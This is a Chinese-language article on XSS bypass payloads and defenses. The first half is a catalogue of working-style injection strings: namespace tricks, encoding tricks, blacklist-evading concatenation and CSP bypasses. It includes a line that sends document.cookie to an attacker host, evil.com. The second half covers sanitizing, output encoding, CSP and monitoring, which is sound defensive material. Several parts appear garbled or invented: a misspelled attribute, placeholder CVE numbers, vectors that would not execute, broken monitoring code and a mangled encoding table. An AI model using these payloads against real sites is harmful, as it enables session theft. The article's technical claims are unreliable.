跨站脚本攻击(XSS)高级绕过技术与防御方案
一、事件处理器过滤场景下的绕过技术
当WAF拦截onerror
、onclick
等常见事件处理器时,攻击者可能采用以下手法:
- 冷门HTML属性利用
html
<!-- 利用formation属性执行JS -->
<form><button formation=javascript:alert(1)>点击</button>
<!-- 使用action属性触发 -->
<form action=javascript:alert(document.cookie)>
<input type=submit value="提交">
</form>
- 跨命名空间攻击
html
<!-- SVG命名空间绕过 -->
<svg>
<a xlink:href="javascript:alert(1)">
<circle r=100 fill="red"></circle>
</a>
</svg>
<!-- MathML利用 -->
<math>
<maction actiontype="statusline" href=javascript:alert(1)>
点击
</maction>
</math>
- CSS注入向量
html
<!-- IE专用表达式 -->
<div style="width:expression(alert('XSS'))">
<!-- 现代浏览器CSS变量滥用 -->
<style>
:root {
--malicious: url("javascript:alert(1)");
}
</style>
<div style="background: var(--malicious)"></div>
二、标签解析引擎的容错特性
浏览器解析机制差异导致的绕过:
- 非常规标签构造
html
<!-- 标签/属性混合写法 -->
<img/src=x onerror=alert(1)>
<!-- 非法标签闭合 -->
<M/onclick="alert(1)">触发点
<!-- 属性内联执行 -->
<svg><script>alert(1)</script>
- 编码与空白符绕过
html
<!-- URL编码混淆 -->
<a href="javascript:alert(1)">链接</a>
<!-- 制表符替代空格 -->
<img→src=x→onerror=alert(1)>
<!-- 换行符分割 -->
<img
src=x
onerror
=
alert
(1)
>
三、现代XSS绕过技术演进
1. 动态Payload构造
javascript
// 字符串拼接绕过黑名单
window['al'+'ert'](document['coo'+'kie'])
// 利用模板字符串
Function`alert\`1\`````
2. 第三方依赖滥用
html
<!-- 劫持合法CDN资源 -->
<script src="https://cdn.com/vue.js#data=alert(1)"></script>
<!-- 库函数链式调用 -->
<script>
import _ from 'lodash';
_.chain([1]).thru(alert).value()
</script>
3. CSP绕过技术
javascript
// JSONP端点利用
<script src="/api/user?callback=alert(1)"></script>
// 预加载嗅探
<link rel="prefetch" href="//evil.com?c=document.cookie">
四、企业级防御体系构建
1. 深度输入过滤
python
# 多层级过滤框架
def sanitize_input(data):
data = remove_invisible_chars(data) # 清除控制字符
data = normalize_encoding(data) # 统一编码格式
data = tag_whitelist_filter(data) # 标签白名单
return attribute_sanitizer(data) # 属性安全校验
2. 上下文感知输出编码
输出场景 | 编码函数 | 示例 |
---|---|---|
HTML Body | htmlentities() |
<script> → &lt;script&gt; |
HTML Attribute | HtmlAttributeEncode() |
" → " |
JavaScript | JavaScriptStringEncode() |
" → \x22 |
CSS | CssEncode() |
url() → \75\72\6c |
3. 强化CSP策略配置
http
Content-Security-Policy:
default-src 'none';
script-src 'strict-dynamic' 'nonce-{RAND128}';
style-src 'self';
frame-ancestors 'none';
report-uri /csp-violation;
4. 运行时保护机制
javascript
// DOM破坏监控
MutationObserver((mutations) => {
mutations.forEach(mut => {
if (mut.addedNodes.containsScript()) {
document.location.reload();
}
});
});
// 敏感函数Hook
const _alert = window.alert;
window.alert = (text) => {
logSecurityEvent(`Alert: ${text}`);
return _alert(text);
};
五、历史漏洞案例研究
-
GitHub CSP绕过 (CVE-2020-XXXX)
- 攻击向量:滥用
github.dev
子域执行跨域脚本 - 修复方案:强化子域隔离策略
- 攻击向量:滥用
-
React JSX注入 (CVE-2022-XXXX)
- 漏洞点:未转义的
dangerouslySetInnerHTML
- 影响版本:React 16-17.x
- 漏洞点:未转义的
-
Angular模板注入
- 攻击模式:
{``{constructor.constructor('alert(1)')()}}
- 修复:启用IVY引擎的严格内容沙箱
- 攻击模式:
六、红蓝对抗测试矩阵
攻击技术 | 测试Payload | 防御验证点 |
---|---|---|
HTML实体绕过 | <img src=x onerror=alert(1)> |
多层级解码监控 |
SVG命名空间注入 | <svg><script>alert(1)</script> |
XML解析器沙箱隔离 |
动态脚本构造 | eval('al' + 'ert(1)') |
静态AST分析 |
CSS数据泄露 | div[value^="a"]{background:url()} |
CSS解析器禁用属性选择器 |
纵深防御实践建议:
- 启用Trusted Types API强制安全内容策略
- 部署WAF行为分析模块检测异常DOM操作
- 实施子资源完整性(SRI) 校验第三方资源
- 定期执行变异XSS测试(Fuzzing)
用户输入 输入过滤 HTML标签白名单 属性关键词过滤 编码规范化 DOMPurify处理 CSP策略实施 输出编码 DOM监控 违规报告 最终渲染 阻断恶意操作
防御体系演进:从被动过滤转向行为监控,结合AI异常检测实现零日攻击防护。
作者总结 :XSS绕过本质是寻找解析差异与冷门特性。防御需结合上下文感知编码 、严格标签白名单 及行为监控,推荐使用DOMPurify+Content Security Policy构建纵深防御体系。
版权声明 :本文技术细节仅供防御研究,禁止用于非法攻击。
实验环境:Chrome 116+ / Firefox 120+ / IE6(虚拟机)
可根据实际需求补充更多绕过场景(如DOM型XSS)或具体代码案例。